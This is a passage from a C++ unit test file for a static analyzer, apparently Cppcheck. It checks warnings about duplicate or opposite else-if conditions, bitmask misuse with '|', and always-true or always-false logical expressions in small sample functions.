[multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 